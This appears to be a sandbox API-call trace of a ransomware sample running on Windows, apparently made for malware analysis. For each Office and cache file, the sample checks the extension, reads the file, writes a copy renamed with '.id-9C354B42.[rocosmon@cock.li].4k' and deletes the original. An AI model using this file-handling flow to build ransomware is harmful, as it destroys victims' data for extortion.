	[0106.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.528] lstrlenW (lpString=".doc") returned 4
	[0106.528] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.528] lstrlenW (lpString=".docx") returned 5
	[0106.528] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.528] lstrlenW (lpString=".pdf") returned 4
	[0106.528] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.528] lstrlenW (lpString=".xls") returned 4
	[0106.528] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.528] lstrlenW (lpString=".xlsx") returned 5
	[0106.528] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.528] lstrlenW (lpString=".ppt") returned 4
	[0106.528] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.529] lstrlenW (lpString=".zip") returned 4
	[0106.529] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.529] lstrlenW (lpString=".rar") returned 4
	[0106.529] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.529] lstrlenW (lpString=".bz2") returned 4
	[0106.529] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.529] lstrlenW (lpString=".7z") returned 3
	[0106.529] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.529] lstrlenW (lpString=".dbf") returned 4
	[0106.529] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.529] lstrlenW (lpString=".1cd") returned 4
	[0106.529] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0106.529] lstrlenW (lpString=".jpg") returned 4
	[0106.529] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.529] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0106.530] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0106.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0106.540] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=27177) returned 1
	[0106.540] CloseHandle (hObject=0x1fc) returned 1
	[0106.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20
	[0106.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0106.540] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.540] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0106.541] GetLastError () returned 0x0
	[0106.541] ReadFile (in: hFile=0x1fc, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x6a29, lpOverlapped=0x0) returned 1
	[0106.741] WriteFile (hFile=0x1d0, lpBuffer=0x3370020, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0) 

Thread:
	id = 13
	os_tid = 0xa74

	[0087.592] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x5800d0
	[0087.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x35c0048
	[0087.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0248
	[0087.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f3098
	[0087.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f02f0
	[0087.594] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x36c0020
	[0087.594] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0087.594] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0308, Size=0x20) returned 0x4d5bd8
	[0087.594] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0087.594] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0308, Size=0x20) returned 0x4d5d40
	[0087.594] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0087.594] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0087.594] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff58 | out: OldValue=0x2d8ff58*=0x0) returned 1
	[0087.595] lstrlenW (lpString="kernel32.dll") returned 12
	[0087.595] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5bd8 | out: hHeap=0x4a0000) returned 1
	[0087.595] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0087.595] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5d40 | out: hHeap=0x4a0000) returned 1
	[0087.595] Sleep (dwMilliseconds=0x64) 
	[0087.987] Sleep (dwMilliseconds=0x64) 
	[0088.172] Sleep (dwMilliseconds=0x64) 
	[0088.489] Sleep (dwMilliseconds=0x64) 
	[0088.617] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.617] lstrlenW (lpString="PowerPointMUI.xml") returned 17
	[0088.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0088.621] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1450) returned 1
	[0088.621] CloseHandle (hObject=0x174) returned 1
	[0088.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020
	[0088.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0088.622] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.622] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0088.622] GetLastError () returned 0x0
	[0088.622] ReadFile (in: hFile=0x174, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0088.816] WriteFile (in: hFile=0x180, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0088.817] ReadFile (in: hFile=0x174, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.817] WriteFile (in: hFile=0x180, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0088.817] SetEndOfFile (hFile=0x180) returned 1
	[0088.817] CloseHandle (hObject=0x180) returned 1
	[0088.823] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.823] SetEndOfFile (hFile=0x174) returned 1
	[0088.826] CloseHandle (hObject=0x174) returned 1
	[0088.826] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0088.826] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1
	[0088.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.832] lstrlenW (lpString=".doc") returned 4
	[0088.832] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.832] lstrlenW (lpString=".docx") returned 5
	[0088.832] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0088.832] lstrlenW (lpString=".pdf") returned 4
	[0088.832] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.832] lstrlenW (lpString=".xls") returned 4
	[0088.832] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.832] lstrlenW (lpString=".xlsx") returned 5
	[0088.832] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0088.832] lstrlenW (lpString=".ppt") returned 4
	[0088.832] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.832] lstrlenW (lpString=".zip") returned 4
	[0088.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.832] lstrlenW (lpString=".rar") returned 4
	[0088.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.832] lstrlenW (lpString=".bz2") returned 4
	[0088.833] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.833] lstrlenW (lpString=".7z") returned 3
	[0088.833] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.833] lstrlenW (lpString=".dbf") returned 4
	[0088.833] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.833] lstrlenW (lpString=".1cd") returned 4
	[0088.833] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.833] lstrlenW (lpString=".jpg") returned 4
	[0088.833] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.834] lstrlenW (lpString=".doc") returned 4
	[0088.834] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString=".docx") returned 5
	[0088.834] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0088.834] lstrlenW (lpString=".pdf") returned 4
	[0088.834] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString=".xls") returned 4
	[0088.834] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString=".xlsx") returned 5
	[0088.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0088.834] lstrlenW (lpString=".ppt") returned 4
	[0088.834] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.834] lstrlenW (lpString=".zip") returned 4
	[0088.834] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.834] lstrlenW (lpString=".rar") returned 4
	[0088.834] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString=".bz2") returned 4
	[0088.834] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.834] lstrlenW (lpString=".7z") returned 3
	[0088.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.835] lstrlenW (lpString=".dbf") returned 4
	[0088.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.835] lstrlenW (lpString=".1cd") returned 4
	[0088.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80
	[0088.835] lstrlenW (lpString=".jpg") returned 4
	[0088.835] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.835] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.835] lstrlenW (lpString="Setup.xml") returned 9
	[0088.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0088.836] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1608) returned 1
	[0088.836] CloseHandle (hObject=0x174) returned 1
	[0088.836] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0088.836] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0088.836] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.836] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0088.836] GetLastError () returned 0x0
	[0088.836] ReadFile (in: hFile=0x174, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x648, lpOverlapped=0x0) returned 1
	[0088.905] WriteFile (in: hFile=0x180, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0088.906] ReadFile (in: hFile=0x174, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0088.906] WriteFile (in: hFile=0x180, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0088.906] SetEndOfFile (hFile=0x180) returned 1
	[0088.907] CloseHandle (hObject=0x180) returned 1
	[0088.911] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0088.911] SetEndOfFile (hFile=0x174) returned 1
	[0088.912] CloseHandle (hObject=0x174) returned 1
	[0088.912] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0088.913] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0088.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.913] lstrlenW (lpString=".doc") returned 4
	[0088.913] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.913] lstrlenW (lpString=".docx") returned 5
	[0088.913] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0088.913] lstrlenW (lpString=".pdf") returned 4
	[0088.913] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.914] lstrlenW (lpString=".xls") returned 4
	[0088.914] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.914] lstrlenW (lpString=".xlsx") returned 5
	[0088.914] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0088.914] lstrlenW (lpString=".ppt") returned 4
	[0088.914] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.914] lstrlenW (lpString=".zip") returned 4
	[0088.914] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.914] lstrlenW (lpString=".rar") returned 4
	[0088.914] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.914] lstrlenW (lpString=".bz2") returned 4
	[0088.914] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.914] lstrlenW (lpString=".7z") returned 3
	[0088.914] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.914] lstrlenW (lpString=".dbf") returned 4
	[0088.914] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.915] lstrlenW (lpString=".1cd") returned 4
	[0088.915] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.915] lstrlenW (lpString=".jpg") returned 4
	[0088.915] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.915] lstrlenW (lpString=".doc") returned 4
	[0088.915] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0088.915] lstrlenW (lpString=".docx") returned 5
	[0088.915] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0088.915] lstrlenW (lpString=".pdf") returned 4
	[0088.915] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0088.915] lstrlenW (lpString=".xls") returned 4
	[0088.915] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0088.915] lstrlenW (lpString=".xlsx") returned 5
	[0088.915] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0088.916] lstrlenW (lpString=".ppt") returned 4
	[0088.916] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0088.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.916] lstrlenW (lpString=".zip") returned 4
	[0088.916] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0088.916] lstrlenW (lpString=".rar") returned 4
	[0088.916] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0088.916] lstrlenW (lpString=".bz2") returned 4
	[0088.916] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0088.916] lstrlenW (lpString=".7z") returned 3
	[0088.916] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0088.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.916] lstrlenW (lpString=".dbf") returned 4
	[0088.916] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0088.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.920] lstrlenW (lpString=".1cd") returned 4
	[0088.920] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0088.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0088.921] lstrlenW (lpString=".jpg") returned 4
	[0088.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0088.921] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.921] lstrlenW (lpString="Setup.xml") returned 9
	[0088.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0088.921] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2424) returned 1
	[0088.921] CloseHandle (hObject=0x174) returned 1
	[0088.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
